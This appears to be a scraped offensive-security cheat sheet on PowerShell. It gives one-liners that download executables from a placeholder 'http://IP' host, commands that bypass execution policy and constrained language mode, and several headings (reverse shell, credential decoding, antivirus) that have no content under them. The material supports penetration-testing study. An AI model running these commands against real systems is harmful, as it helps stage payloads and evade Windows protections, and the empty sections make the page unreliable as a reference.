Powershell

Offensive PowerShell

Powershell Path:

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Download:

Invoke-Webrequest -URI http://IP/file.exe -O file.exe
(New-Object Net.WebClient).DownloadFile("http://IP/file.exe","C:\Windows\Temp\file.exe")
wget http://IP/file.exe -OutFile file.exe
curl http://IP/file.exe -O file.exe

Execution Policy:

Get-ExecutionPolicy

Bypass ExecutionPolicy:

PowerShell.exe -ExecutionPolicy Bypass -File .\file.ps1
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

Constrained Language:

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

use PSByPassCLM. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\_31bf3856ad364e35\System.Management.Automation.dll_ and change the project to .Net4.5.

Direct bypass:

Reverse shell:

Secure String to Plaintext

Or directly parsing form XML:

Antivirus (Requires Higher Privileges)

Execute Commands as Another User

Scheduled Tasks

Last updated